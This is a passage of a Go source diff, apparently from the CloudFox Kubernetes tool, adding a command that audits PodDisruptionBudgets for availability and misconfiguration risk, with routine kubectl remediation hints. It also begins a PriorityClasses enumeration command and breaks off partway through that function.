"github.com/BishopFox/cloudfox/globals"
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
"github.com/BishopFox/cloudfox/kubernetes/config"
|
||||
"github.com/BishopFox/cloudfox/kubernetes/sdk"
|
||||
"github.com/BishopFox/cloudfox/kubernetes/shared"
|
||||
"github.com/spf13/cobra"
|
||||
appsv1 "k8s.io/api/apps/v1"
|
||||
corev1 "k8s.io/api/core/v1"
|
||||
policyv1 "k8s.io/api/policy/v1"
|
||||
metav1 "k8s.io/apimachinery/pkg/apis/meta/v1"
|
||||
"k8s.io/apimachinery/pkg/labels"
|
||||
)
|
||||
|
||||
var PodDisruptionBudgetsCmd = &cobra.Command{
|
||||
Use: "poddisruptionbudgets",
|
||||
Aliases: []string{"pdb", "pdbs"},
|
||||
Short: "Analyze PodDisruptionBudgets for availability and security",
|
||||
Long: `
|
||||
Analyze PodDisruptionBudgets with comprehensive security and availability analysis including:
|
||||
- Missing PDBs for critical workloads (availability risk)
|
||||
- Overly permissive PDBs (minAvailable=0, allows unlimited disruptions)
|
||||
- Too restrictive PDBs (blocking cluster maintenance)
|
||||
- Selector mismatches (PDB not protecting expected pods)
|
||||
- Namespace coverage gaps (no PDBs in production namespaces)
|
||||
- PDB conflicts (multiple PDBs targeting same pods)
|
||||
- Eviction API abuse potential
|
||||
- Deployment/StatefulSet without PDB protection
|
||||
- Risk scoring based on availability exposure
|
||||
|
||||
cloudfox kubernetes poddisruptionbudgets`,
|
||||
Run: ListPodDisruptionBudgets,
|
||||
}
|
||||
|
||||
type PodDisruptionBudgetsOutput struct {
|
||||
Table []internal.TableFile
|
||||
Loot []internal.LootFile
|
||||
}
|
||||
|
||||
func (t PodDisruptionBudgetsOutput) TableFiles() []internal.TableFile {
|
||||
return t.Table
|
||||
}
|
||||
|
||||
func (t PodDisruptionBudgetsOutput) LootFiles() []internal.LootFile {
|
||||
return t.Loot
|
||||
}
|
||||
|
||||
type PDBAnalysis struct {
|
||||
Name string
|
||||
Namespace string
|
||||
MinAvailable string
|
||||
MaxUnavailable string
|
||||
CurrentHealthy int32
|
||||
DesiredHealthy int32
|
||||
ExpectedPods int32
|
||||
DisruptionsAllowed int32
|
||||
Selector string
|
||||
MatchedPods []string
|
||||
SelectorMismatch bool
|
||||
TooPermissive bool
|
||||
TooRestrictive bool
|
||||
RiskLevel string
|
||||
RiskScore int
|
||||
SecurityIssues []string
|
||||
}
|
||||
|
||||
type WorkloadPDBStatus struct {
|
||||
Namespace string
|
||||
WorkloadType string
|
||||
WorkloadName string
|
||||
Replicas int32
|
||||
HasPDB bool
|
||||
PDBNames []string
|
||||
RiskLevel string
|
||||
RiskScore int
|
||||
Issues []string
|
||||
}
|
||||
|
||||
|
||||
func ListPodDisruptionBudgets(cmd *cobra.Command, args []string) {
|
||||
ctx, cancel := shared.ContextWithCancel()
|
||||
defer cancel()
|
||||
logger := internal.NewLogger()
|
||||
|
||||
parentCmd := cmd.Parent()
|
||||
verbosity, _ := parentCmd.PersistentFlags().GetInt("verbosity")
|
||||
wrap, _ := parentCmd.PersistentFlags().GetBool("wrap")
|
||||
outputDirectory, _ := parentCmd.PersistentFlags().GetString("outdir")
|
||||
format, _ := parentCmd.PersistentFlags().GetString("output")
|
||||
|
||||
logger.InfoM(fmt.Sprintf("Analyzing PodDisruptionBudgets for %s", globals.ClusterName), globals.K8S_PODDISRUPTIONBUDGETS_MODULE_NAME)
|
||||
|
||||
clientset := config.GetClientOrExit()
|
||||
targetNS := shared.GetNamespaceOrAll()
|
||||
|
||||
// Fetch PodDisruptionBudgets from cache
|
||||
allPDBs, err := sdk.GetPodDisruptionBudgets(ctx, clientset)
|
||||
if err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Error fetching PodDisruptionBudgets: %v", err), globals.K8S_PODDISRUPTIONBUDGETS_MODULE_NAME)
|
||||
return
|
||||
}
|
||||
|
||||
// Filter by target namespace
|
||||
var pdbList []policyv1.PodDisruptionBudget
|
||||
for _, pdb := range allPDBs {
|
||||
if targetNS == "" || pdb.Namespace == targetNS {
|
||||
pdbList = append(pdbList, pdb)
|
||||
}
|
||||
}
|
||||
|
||||
// Fetch pods for matching (cached)
|
||||
allPods, err := sdk.GetPods(ctx, clientset)
|
||||
if err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Error fetching Pods: %v", err), globals.K8S_PODDISRUPTIONBUDGETS_MODULE_NAME)
|
||||
return
|
||||
}
|
||||
// Filter pods by target namespace
|
||||
var pods []corev1.Pod
|
||||
for _, pod := range allPods {
|
||||
if targetNS == "" || pod.Namespace == targetNS {
|
||||
pods = append(pods, pod)
|
||||
}
|
||||
}
|
||||
|
||||
// Fetch deployments (cached)
|
||||
allDeployments, err := sdk.GetDeployments(ctx, clientset)
|
||||
if err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Error fetching Deployments: %v", err), globals.K8S_PODDISRUPTIONBUDGETS_MODULE_NAME)
|
||||
return
|
||||
}
|
||||
// Filter deployments by target namespace
|
||||
var deployments []appsv1.Deployment
|
||||
for _, dep := range allDeployments {
|
||||
if targetNS == "" || dep.Namespace == targetNS {
|
||||
deployments = append(deployments, dep)
|
||||
}
|
||||
}
|
||||
|
||||
// Fetch statefulsets (cached)
|
||||
allStatefulsets, err := sdk.GetStatefulSets(ctx, clientset)
|
||||
if err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Error fetching StatefulSets: %v", err), globals.K8S_PODDISRUPTIONBUDGETS_MODULE_NAME)
|
||||
return
|
||||
}
|
||||
// Filter statefulsets by target namespace
|
||||
var statefulsets []appsv1.StatefulSet
|
||||
for _, ss := range allStatefulsets {
|
||||
if targetNS == "" || ss.Namespace == targetNS {
|
||||
statefulsets = append(statefulsets, ss)
|
||||
}
|
||||
}
|
||||
|
||||
var pdbAnalyses []PDBAnalysis
|
||||
var workloadStatuses []WorkloadPDBStatus
|
||||
|
||||
loot := shared.NewLootBuilder()
|
||||
|
||||
// Analyze each PDB
|
||||
for _, pdb := range pdbList {
|
||||
analysis := PDBAnalysis{
|
||||
Name: pdb.Name,
|
||||
Namespace: pdb.Namespace,
|
||||
MinAvailable: intStrPtrToString(pdb.Spec.MinAvailable),
|
||||
MaxUnavailable: intStrPtrToString(pdb.Spec.MaxUnavailable),
|
||||
CurrentHealthy: pdb.Status.CurrentHealthy,
|
||||
DesiredHealthy: pdb.Status.DesiredHealthy,
|
||||
ExpectedPods: pdb.Status.ExpectedPods,
|
||||
DisruptionsAllowed: pdb.Status.DisruptionsAllowed,
|
||||
Selector: selectorToString(pdb.Spec.Selector),
|
||||
}
|
||||
|
||||
// Find matching pods
|
||||
analysis.MatchedPods = findMatchingPods(&pdb, pods)
|
||||
|
||||
// Security analysis
|
||||
issues := analyzePDBSecurity(&analysis, &pdb)
|
||||
analysis.SecurityIssues = issues
|
||||
|
||||
// Calculate risk score
|
||||
analysis.RiskScore = calculatePDBRiskScore(&analysis)
|
||||
analysis.RiskLevel = pdbRiskScoreToLevel(analysis.RiskScore)
|
||||
|
||||
// Categorize for loot files
|
||||
if analysis.TooPermissive {
|
||||
loot.Section("Permissive-PDBs").Add(formatPermissivePDB(&analysis))
|
||||
}
|
||||
if analysis.TooRestrictive {
|
||||
loot.Section("Restrictive-PDBs").Add(formatRestrictivePDB(&analysis))
|
||||
}
|
||||
if analysis.SelectorMismatch {
|
||||
loot.Section("Selector-Mismatches").Add(formatSelectorMismatch(&analysis))
|
||||
}
|
||||
|
||||
pdbAnalyses = append(pdbAnalyses, analysis)
|
||||
}
|
||||
|
||||
// Build PDB index by namespace and selector
|
||||
pdbIndex := buildPDBIndex(pdbList)
|
||||
|
||||
// Analyze deployments
|
||||
for _, deploy := range deployments {
|
||||
status := WorkloadPDBStatus{
|
||||
Namespace: deploy.Namespace,
|
||||
WorkloadType: "Deployment",
|
||||
WorkloadName: deploy.Name,
|
||||
Replicas: *deploy.Spec.Replicas,
|
||||
}
|
||||
|
||||
// Check if deployment has PDB protection
|
||||
status.PDBNames = findWorkloadPDBs(deploy.Namespace, deploy.Spec.Selector, pdbIndex)
|
||||
status.HasPDB = len(status.PDBNames) > 0
|
||||
|
||||
// Analyze workload PDB status
|
||||
status.Issues = analyzeWorkloadPDBStatus(&status)
|
||||
status.RiskScore = calculateWorkloadRiskScore(&status)
|
||||
status.RiskLevel = pdbRiskScoreToLevel(status.RiskScore)
|
||||
|
||||
if !status.HasPDB && status.Replicas > 1 {
|
||||
loot.Section("Unprotected-Workloads").Add(formatUnprotectedWorkload(&status))
|
||||
}
|
||||
|
||||
workloadStatuses = append(workloadStatuses, status)
|
||||
}
|
||||
|
||||
// Analyze statefulsets
|
||||
for _, sts := range statefulsets {
|
||||
status := WorkloadPDBStatus{
|
||||
Namespace: sts.Namespace,
|
||||
WorkloadType: "StatefulSet",
|
||||
WorkloadName: sts.Name,
|
||||
Replicas: *sts.Spec.Replicas,
|
||||
}
|
||||
|
||||
status.PDBNames = findWorkloadPDBs(sts.Namespace, sts.Spec.Selector, pdbIndex)
|
||||
status.HasPDB = len(status.PDBNames) > 0
|
||||
|
||||
status.Issues = analyzeWorkloadPDBStatus(&status)
|
||||
status.RiskScore = calculateWorkloadRiskScore(&status)
|
||||
status.RiskLevel = pdbRiskScoreToLevel(status.RiskScore)
|
||||
|
||||
if !status.HasPDB && status.Replicas > 1 {
|
||||
loot.Section("Unprotected-Workloads").Add(formatUnprotectedWorkload(&status))
|
||||
}
|
||||
|
||||
workloadStatuses = append(workloadStatuses, status)
|
||||
}
|
||||
|
||||
// Generate loot files
|
||||
loot.Section("PDB-Enum").Add(formatPDBEnum(pdbAnalyses))
|
||||
loot.Section("Remediation-Guide").Add(generatePDBRemediationGuide(pdbAnalyses, workloadStatuses))
|
||||
|
||||
lootFiles := loot.Build()
|
||||
|
||||
// Generate tables
|
||||
pdbTable := generatePDBTable(pdbAnalyses)
|
||||
workloadTable := generateWorkloadTable(workloadStatuses)
|
||||
|
||||
err = internal.HandleOutput(
|
||||
"Kubernetes",
|
||||
format,
|
||||
outputDirectory,
|
||||
verbosity,
|
||||
wrap,
|
||||
"PodDisruptionBudgets",
|
||||
globals.ClusterName,
|
||||
"results",
|
||||
PodDisruptionBudgetsOutput{
|
||||
Table: []internal.TableFile{pdbTable, workloadTable},
|
||||
Loot: lootFiles,
|
||||
},
|
||||
)
|
||||
if err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Error handling output: %v", err), globals.K8S_PODDISRUPTIONBUDGETS_MODULE_NAME)
|
||||
return
|
||||
}
|
||||
|
||||
// Summary logging
|
||||
if len(pdbList) > 0 {
|
||||
permissiveCount := 0
|
||||
if loot.HasSection("Permissive-PDBs") {
|
||||
permissiveCount = loot.Section("Permissive-PDBs").Len()
|
||||
}
|
||||
unprotectedCount := 0
|
||||
if loot.HasSection("Unprotected-Workloads") {
|
||||
unprotectedCount = loot.Section("Unprotected-Workloads").Len()
|
||||
}
|
||||
logger.InfoM(fmt.Sprintf("%d PDBs analyzed | Permissive: %d | Unprotected workloads: %d | Total workloads: %d",
|
||||
len(pdbList), permissiveCount, unprotectedCount, len(workloadStatuses)),
|
||||
globals.K8S_PODDISRUPTIONBUDGETS_MODULE_NAME)
|
||||
} else {
|
||||
logger.InfoM("No PodDisruptionBudgets found", globals.K8S_PODDISRUPTIONBUDGETS_MODULE_NAME)
|
||||
}
|
||||
}
|
||||
|
||||
func analyzePDBSecurity(analysis *PDBAnalysis, pdb *policyv1.PodDisruptionBudget) []string {
|
||||
var issues []string
|
||||
|
||||
// Too permissive: allows all disruptions
|
||||
if analysis.MinAvailable == "0" || analysis.MaxUnavailable == "100%" {
|
||||
analysis.TooPermissive = true
|
||||
issues = append(issues, "CRITICAL: PDB allows unlimited disruptions (minAvailable=0 or maxUnavailable=100%)")
|
||||
}
|
||||
|
||||
// No matching pods
|
||||
if len(analysis.MatchedPods) == 0 {
|
||||
analysis.SelectorMismatch = true
|
||||
issues = append(issues, "HIGH: PDB selector matches no pods (ineffective protection)")
|
||||
}
|
||||
|
||||
// Expected pods mismatch
|
||||
if analysis.ExpectedPods != int32(len(analysis.MatchedPods)) {
|
||||
analysis.SelectorMismatch = true
|
||||
issues = append(issues, fmt.Sprintf("MEDIUM: Expected %d pods, matched %d (selector mismatch)", analysis.ExpectedPods, len(analysis.MatchedPods)))
|
||||
}
|
||||
|
||||
// Too restrictive: blocks all disruptions
|
||||
if analysis.DisruptionsAllowed == 0 && analysis.CurrentHealthy > 0 {
|
||||
analysis.TooRestrictive = true
|
||||
issues = append(issues, "MEDIUM: PDB blocks all disruptions (may prevent cluster maintenance)")
|
||||
}
|
||||
|
||||
// MinAvailable equals total pods (no disruptions allowed)
|
||||
if analysis.MinAvailable == fmt.Sprintf("%d", analysis.ExpectedPods) && analysis.ExpectedPods > 0 {
|
||||
analysis.TooRestrictive = true
|
||||
issues = append(issues, "MEDIUM: MinAvailable equals total pods (no rolling updates possible)")
|
||||
}
|
||||
|
||||
return issues
|
||||
}
|
||||
|
||||
func findMatchingPods(pdb *policyv1.PodDisruptionBudget, pods []corev1.Pod) []string {
|
||||
var matchedPods []string
|
||||
|
||||
if pdb.Spec.Selector == nil {
|
||||
return matchedPods
|
||||
}
|
||||
|
||||
selector, err := metav1.LabelSelectorAsSelector(pdb.Spec.Selector)
|
||||
if err != nil {
|
||||
return matchedPods
|
||||
}
|
||||
|
||||
for _, pod := range pods {
|
||||
if pod.Namespace != pdb.Namespace {
|
||||
continue
|
||||
}
|
||||
if selector.Matches(labels.Set(pod.Labels)) {
|
||||
matchedPods = append(matchedPods, pod.Name)
|
||||
}
|
||||
}
|
||||
|
||||
return matchedPods
|
||||
}
|
||||
|
||||
func buildPDBIndex(pdbs []policyv1.PodDisruptionBudget) map[string][]policyv1.PodDisruptionBudget {
|
||||
index := make(map[string][]policyv1.PodDisruptionBudget)
|
||||
|
||||
for _, pdb := range pdbs {
|
||||
key := pdb.Namespace
|
||||
index[key] = append(index[key], pdb)
|
||||
}
|
||||
|
||||
return index
|
||||
}
|
||||
|
||||
func findWorkloadPDBs(namespace string, selector *metav1.LabelSelector, pdbIndex map[string][]policyv1.PodDisruptionBudget) []string {
|
||||
var pdbNames []string
|
||||
|
||||
if selector == nil {
|
||||
return pdbNames
|
||||
}
|
||||
|
||||
workloadSelector, err := metav1.LabelSelectorAsSelector(selector)
|
||||
if err != nil {
|
||||
return pdbNames
|
||||
}
|
||||
|
||||
for _, pdb := range pdbIndex[namespace] {
|
||||
if pdb.Spec.Selector == nil {
|
||||
continue
|
||||
}
|
||||
|
||||
pdbSelector, err := metav1.LabelSelectorAsSelector(pdb.Spec.Selector)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
// Check if PDB selector would match workload pods
|
||||
// This is a simplified check - in reality we'd need to check if selectors overlap
|
||||
if pdbSelector.String() == workloadSelector.String() {
|
||||
pdbNames = append(pdbNames, pdb.Name)
|
||||
}
|
||||
}
|
||||
|
||||
return pdbNames
|
||||
}
|
||||
|
||||
func analyzeWorkloadPDBStatus(status *WorkloadPDBStatus) []string {
|
||||
var issues []string
|
||||
|
||||
// No PDB for multi-replica workload
|
||||
if !status.HasPDB && status.Replicas > 1 {
|
||||
issues = append(issues, "HIGH: Multi-replica workload without PDB (availability risk during disruptions)")
|
||||
}
|
||||
|
||||
// No PDB for high-replica workload
|
||||
if !status.HasPDB && status.Replicas >= 3 {
|
||||
issues = append(issues, "CRITICAL: High-availability workload without PDB protection")
|
||||
}
|
||||
|
||||
// Multiple PDBs (potential conflicts)
|
||||
if len(status.PDBNames) > 1 {
|
||||
issues = append(issues, fmt.Sprintf("MEDIUM: Multiple PDBs (%d) may conflict", len(status.PDBNames)))
|
||||
}
|
||||
|
||||
return issues
|
||||
}
|
||||
|
||||
func calculatePDBRiskScore(analysis *PDBAnalysis) int {
|
||||
score := 0
|
||||
|
||||
// Too permissive
|
||||
if analysis.TooPermissive {
|
||||
score += 50
|
||||
}
|
||||
|
||||
// Selector mismatch
|
||||
if analysis.SelectorMismatch {
|
||||
score += 30
|
||||
}
|
||||
|
||||
// Too restrictive
|
||||
if analysis.TooRestrictive {
|
||||
score += 20
|
||||
}
|
||||
|
||||
// No disruptions allowed
|
||||
if analysis.DisruptionsAllowed == 0 {
|
||||
score += 15
|
||||
}
|
||||
|
||||
return score
|
||||
}
|
||||
|
||||
func calculateWorkloadRiskScore(status *WorkloadPDBStatus) int {
|
||||
score := 0
|
||||
|
||||
// No PDB for multi-replica workload
|
||||
if !status.HasPDB {
|
||||
if status.Replicas >= 5 {
|
||||
score += 50
|
||||
} else if status.Replicas >= 3 {
|
||||
score += 40
|
||||
} else if status.Replicas > 1 {
|
||||
score += 25
|
||||
}
|
||||
}
|
||||
|
||||
// Multiple PDBs
|
||||
if len(status.PDBNames) > 1 {
|
||||
score += 15
|
||||
}
|
||||
|
||||
return score
|
||||
}
|
||||
|
||||
func pdbRiskScoreToLevel(score int) string {
|
||||
if score >= 70 {
|
||||
return shared.RiskCritical
|
||||
} else if score >= 50 {
|
||||
return shared.RiskHigh
|
||||
} else if score >= 25 {
|
||||
return shared.RiskMedium
|
||||
}
|
||||
return shared.RiskLow
|
||||
}
|
||||
|
||||
// Formatting functions
|
||||
func formatPermissivePDB(analysis *PDBAnalysis) string {
|
||||
return fmt.Sprintf("[PERMISSIVE] %s/%s | MinAvailable: %s | MaxUnavailable: %s | Issues: %s",
|
||||
analysis.Namespace, analysis.Name, analysis.MinAvailable, analysis.MaxUnavailable,
|
||||
strings.Join(analysis.SecurityIssues, "; "))
|
||||
}
|
||||
|
||||
func formatRestrictivePDB(analysis *PDBAnalysis) string {
|
||||
return fmt.Sprintf("[RESTRICTIVE] %s/%s | DisruptionsAllowed: %d | CurrentHealthy: %d | ExpectedPods: %d",
|
||||
analysis.Namespace, analysis.Name, analysis.DisruptionsAllowed, analysis.CurrentHealthy, analysis.ExpectedPods)
|
||||
}
|
||||
|
||||
func formatSelectorMismatch(analysis *PDBAnalysis) string {
|
||||
return fmt.Sprintf("[MISMATCH] %s/%s | Selector: %s | Expected: %d | Matched: %d | Fix selector or check pod labels",
|
||||
analysis.Namespace, analysis.Name, analysis.Selector, analysis.ExpectedPods, len(analysis.MatchedPods))
|
||||
}
|
||||
|
||||
func formatUnprotectedWorkload(status *WorkloadPDBStatus) string {
|
||||
return fmt.Sprintf("[UNPROTECTED] %s/%s/%s | Replicas: %d | No PDB protection (availability risk)",
|
||||
status.Namespace, status.WorkloadType, status.WorkloadName, status.Replicas)
|
||||
}
|
||||
|
||||
func formatPDBEnum(analyses []PDBAnalysis) string {
|
||||
var lines []string
|
||||
lines = append(lines, "=== PodDisruptionBudget Security Analysis ===\n")
|
||||
|
||||
for _, pdb := range analyses {
|
||||
lines = append(lines, fmt.Sprintf("PDB: %s/%s", pdb.Namespace, pdb.Name))
|
||||
lines = append(lines, fmt.Sprintf(" MinAvailable: %s | MaxUnavailable: %s", pdb.MinAvailable, pdb.MaxUnavailable))
|
||||
lines = append(lines, fmt.Sprintf(" Current Healthy: %d | Desired: %d | Expected: %d", pdb.CurrentHealthy, pdb.DesiredHealthy, pdb.ExpectedPods))
|
||||
lines = append(lines, fmt.Sprintf(" Disruptions Allowed: %d", pdb.DisruptionsAllowed))
|
||||
lines = append(lines, fmt.Sprintf(" Matched Pods: %d", len(pdb.MatchedPods)))
|
||||
lines = append(lines, fmt.Sprintf(" Risk Level: %s (Score: %d)", pdb.RiskLevel, pdb.RiskScore))
|
||||
if len(pdb.SecurityIssues) > 0 {
|
||||
lines = append(lines, " Security Issues:")
|
||||
for _, issue := range pdb.SecurityIssues {
|
||||
lines = append(lines, fmt.Sprintf(" - %s", issue))
|
||||
}
|
||||
}
|
||||
lines = append(lines, "")
|
||||
}
|
||||
|
||||
return strings.Join(lines, "\n")
|
||||
}
|
||||
|
||||
func generatePDBRemediationGuide(pdbs []PDBAnalysis, workloads []WorkloadPDBStatus) string {
|
||||
var lines []string
|
||||
lines = append(lines, "=== PodDisruptionBudget Remediation Guide ===\n")
|
||||
|
||||
lines = append(lines, "# Create PDB for a deployment (allow 1 pod unavailable during disruptions):")
|
||||
lines = append(lines, "kubectl create pdb <name> --namespace=<namespace> --selector=app=<app-label> --max-unavailable=1")
|
||||
lines = append(lines, "")
|
||||
|
||||
lines = append(lines, "# Create PDB with minAvailable (keep at least 2 pods available):")
|
||||
lines = append(lines, "kubectl create pdb <name> --namespace=<namespace> --selector=app=<app-label> --min-available=2")
|
||||
lines = append(lines, "")
|
||||
|
||||
lines = append(lines, "# View PDB status:")
|
||||
lines = append(lines, "kubectl get pdb -n <namespace>")
|
||||
lines = append(lines, "kubectl describe pdb <name> -n <namespace>")
|
||||
lines = append(lines, "")
|
||||
|
||||
lines = append(lines, "# Delete overly permissive PDB:")
|
||||
lines = append(lines, "kubectl delete pdb <name> -n <namespace>")
|
||||
lines = append(lines, "")
|
||||
|
||||
// Specific recommendations
|
||||
lines = append(lines, "## Specific Issues:\n")
|
||||
|
||||
for _, pdb := range pdbs {
|
||||
if pdb.RiskScore >= 50 {
|
||||
lines = append(lines, fmt.Sprintf("# High-risk PDB: %s/%s (Score: %d)", pdb.Namespace, pdb.Name, pdb.RiskScore))
|
||||
for _, issue := range pdb.SecurityIssues {
|
||||
lines = append(lines, fmt.Sprintf("# - %s", issue))
|
||||
}
|
||||
lines = append(lines, "")
|
||||
}
|
||||
}
|
||||
|
||||
// Unprotected workloads
|
||||
unprotectedCount := 0
|
||||
for _, wl := range workloads {
|
||||
if !wl.HasPDB && wl.Replicas > 1 {
|
||||
unprotectedCount++
|
||||
}
|
||||
}
|
||||
|
||||
if unprotectedCount > 0 {
|
||||
lines = append(lines, fmt.Sprintf("# %d unprotected workloads found - create PDBs for high-availability services", unprotectedCount))
|
||||
lines = append(lines, "")
|
||||
}
|
||||
|
||||
return strings.Join(lines, "\n")
|
||||
}
|
||||
|
||||
func generatePDBTable(analyses []PDBAnalysis) internal.TableFile {
|
||||
header := []string{"Namespace", "Name", "MinAvailable", "MaxUnavailable", "CurrentHealthy", "DisruptionsAllowed", "MatchedPods"}
|
||||
var rows [][]string
|
||||
|
||||
// Sort by risk score
|
||||
sort.Slice(analyses, func(i, j int) bool {
|
||||
return analyses[i].RiskScore > analyses[j].RiskScore
|
||||
})
|
||||
|
||||
for _, pdb := range analyses {
|
||||
rows = append(rows, []string{
|
||||
pdb.Namespace,
|
||||
pdb.Name,
|
||||
pdb.MinAvailable,
|
||||
pdb.MaxUnavailable,
|
||||
fmt.Sprintf("%d", pdb.CurrentHealthy),
|
||||
fmt.Sprintf("%d", pdb.DisruptionsAllowed),
|
||||
fmt.Sprintf("%d", len(pdb.MatchedPods)),
|
||||
})
|
||||
}
|
||||
|
||||
return internal.TableFile{
|
||||
Name: "PodDisruptionBudgets",
|
||||
Header: header,
|
||||
Body: rows,
|
||||
}
|
||||
}
|
||||
|
||||
func generateWorkloadTable(workloads []WorkloadPDBStatus) internal.TableFile {
|
||||
header := []string{"Namespace", "Type", "Name", "Replicas", "HasPDB", "PDBs", "Issues"}
|
||||
var rows [][]string
|
||||
|
||||
// Sort by risk score
|
||||
sort.Slice(workloads, func(i, j int) bool {
|
||||
return workloads[i].RiskScore > workloads[j].RiskScore
|
||||
})
|
||||
|
||||
for _, wl := range workloads {
|
||||
rows = append(rows, []string{
|
||||
wl.Namespace,
|
||||
wl.WorkloadType,
|
||||
wl.WorkloadName,
|
||||
fmt.Sprintf("%d", wl.Replicas),
|
||||
shared.FormatBool(wl.HasPDB),
|
||||
fmt.Sprintf("%d", len(wl.PDBNames)),
|
||||
fmt.Sprintf("%d", len(wl.Issues)),
|
||||
})
|
||||
}
|
||||
|
||||
return internal.TableFile{
|
||||
Name: "Workload-PDB-Status",
|
||||
Header: header,
|
||||
Body: rows,
|
||||
}
|
||||
}
|
||||
|
||||
// Helper functions
|
||||
func selectorToString(selector *metav1.LabelSelector) string {
|
||||
if selector == nil {
|
||||
return ""
|
||||
}
|
||||
sel, err := metav1.LabelSelectorAsSelector(selector)
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
return sel.String()
|
||||
}
|
||||
|
||||
func intStrPtrToString(val interface{}) string {
|
||||
if val == nil {
|
||||
return ""
|
||||
}
|
||||
return fmt.Sprintf("%v", val)
|
||||
}
|
||||
File diff suppressed because it is too large.
Load diff
@@ -0,0 +1,661 @@
|
||||
package commands
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"sort"
|
||||
"strings"
|
||||
|
||||
"github.com/BishopFox/cloudfox/globals"
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
"github.com/BishopFox/cloudfox/kubernetes/config"
|
||||
"github.com/BishopFox/cloudfox/kubernetes/sdk"
|
||||
"github.com/BishopFox/cloudfox/kubernetes/shared"
|
||||
"github.com/spf13/cobra"
|
||||
corev1 "k8s.io/api/core/v1"
|
||||
)
|
||||
|
||||
var PriorityClassesCmd = &cobra.Command{
|
||||
Use: "priorityclasses",
|
||||
Aliases: []string{"pc", "priorities"},
|
||||
Short: "Enumerate PriorityClasses and pod priorities with security analysis",
|
||||
Long: `
|
||||
Enumerate PriorityClasses with comprehensive security analysis including:
|
||||
- Non-system pods with system-level priority (preemption abuse)
|
||||
- Privilege escalation via high-priority pods
|
||||
- Availability impact (critical workloads at risk of preemption)
|
||||
- Default PriorityClass gaps
|
||||
- PriorityClass creation permissions (RBAC analysis)
|
||||
- Preemption policy risks
|
||||
- Pod priority distribution analysis
|
||||
- Risk scoring based on misuse potential
|
||||
|
||||
cloudfox kubernetes priorityclasses`,
|
||||
Run: ListPriorityClasses,
|
||||
}
|
||||
|
||||
type PriorityClassesOutput struct {
|
||||
Table []internal.TableFile
|
||||
Loot []internal.LootFile
|
||||
}
|
||||
|
||||
func (t PriorityClassesOutput) TableFiles() []internal.TableFile {
|
||||
return t.Table
|
||||
}
|
||||
|
||||
func (t PriorityClassesOutput) LootFiles() []internal.LootFile {
|
||||
return t.Loot
|
||||
}
|
||||
|
||||
type PriorityClassAnalysis struct {
|
||||
Name string
|
||||
Value int32
|
||||
GlobalDefault bool
|
||||
PreemptionPolicy string
|
||||
Description string
|
||||
IsSystemClass bool
|
||||
RiskLevel string
|
||||
RiskScore int
|
||||
SecurityIssues []string
|
||||
PodsUsingClass int
|
||||
SystemPodsUsingIt int
|
||||
UserPodsUsingIt int
|
||||
NamespacesUsingIt []string
|
||||
}
|
||||
|
||||
type PodPriorityAnalysis struct {
|
||||
Namespace string
|
||||
PodName string
|
||||
PriorityClass string
|
||||
PriorityValue int32
|
||||
PreemptionPolicy string
|
||||
IsPrivileged bool
|
||||
HostNetwork bool
|
||||
IsSystemPod bool
|
||||
RiskLevel string
|
||||
RiskScore int
|
||||
SecurityIssues []string
|
||||
CanPreempt bool
|
||||
VulnerableToPreempt bool
|
||||
}
|
||||
|
||||
// System priority ranges
|
||||
const (
|
||||
SystemCriticalPriority = 2000000000 // k8s system-cluster-critical
|
||||
SystemNodeCritical = 2000001000 // k8s system-node-critical
|
||||
HighPriorityThreshold = 1000000 // User pods above this are suspicious
|
||||
)
|
||||
|
||||
func ListPriorityClasses(cmd *cobra.Command, args []string) {
|
||||
ctx, cancel := shared.ContextWithCancel()
|
||||
defer cancel()
|
||||
logger := internal.NewLogger()
|
||||
|
||||
parentCmd := cmd.Parent()
|
||||
verbosity, _ := parentCmd.PersistentFlags().GetInt("verbosity")
|
||||
wrap, _ := parentCmd.PersistentFlags().GetBool("wrap")
|
||||
outputDirectory, _ := parentCmd.PersistentFlags().GetString("outdir")
|
||||
format, _ := parentCmd.PersistentFlags().GetString("output")
|
||||
|
||||
logger.InfoM(fmt.Sprintf("Enumerating priority classes for %s", globals.ClusterName), globals.K8S_PRIORITYCLASSES_MODULE_NAME)
|
||||
|
||||
clientset := config.GetClientOrExit()
|
||||
|
||||
loot := shared.NewLootBuilder()
|
||||
loot.Section("PriorityClass-Enum").SetHeader(`#####################################
|
||||
##### PriorityClass Enumeration
|
||||
#####################################
|
||||
|
||||
`)
|
||||
if globals.KubeContext != "" {
|
||||
loot.Section("PriorityClass-Enum").Add(fmt.Sprintf("kubectl config use-context %s\n", globals.KubeContext))
|
||||
}
|
||||
|
||||
loot.Section("Priority-Abuse").SetHeader(`#####################################
|
||||
##### Priority Abuse Detection
|
||||
#####################################
|
||||
# User pods with system-level priorities
|
||||
# Can preempt critical system components
|
||||
|
||||
`)
|
||||
|
||||
loot.Section("Preemption-Risks").SetHeader(`#####################################
|
||||
##### Preemption Risk Analysis
|
||||
#####################################
|
||||
# Pods vulnerable to preemption
|
||||
# Availability impact assessment
|
||||
|
||||
`)
|
||||
|
||||
loot.Section("Privilege-Escalation").SetHeader(`#####################################
|
||||
##### Privilege Escalation via Priority
|
||||
#####################################
|
||||
# High-priority privileged pods
|
||||
# Can disrupt cluster and evict workloads
|
||||
|
||||
`)
|
||||
|
||||
loot.Section("Default-PriorityClass").SetHeader(`#####################################
|
||||
##### Default PriorityClass Analysis
|
||||
#####################################
|
||||
# Global default priority class configuration
|
||||
|
||||
`)
|
||||
|
||||
loot.Section("Remediation-Guide").SetHeader(`#####################################
|
||||
##### Remediation Guidance
|
||||
#####################################
|
||||
|
||||
`)
|
||||
|
||||
// Get all PriorityClasses (cached)
|
||||
priorityClassesList, err := sdk.GetPriorityClasses(ctx, clientset)
|
||||
if err != nil {
|
||||
shared.LogListError(&logger, "priority classes", "", err, globals.K8S_PRIORITYCLASSES_MODULE_NAME, true)
|
||||
return
|
||||
}
|
||||
|
||||
// Get all pods for usage analysis (cached)
|
||||
allPodsList, err := sdk.GetPods(ctx, clientset)
|
||||
if err != nil {
|
||||
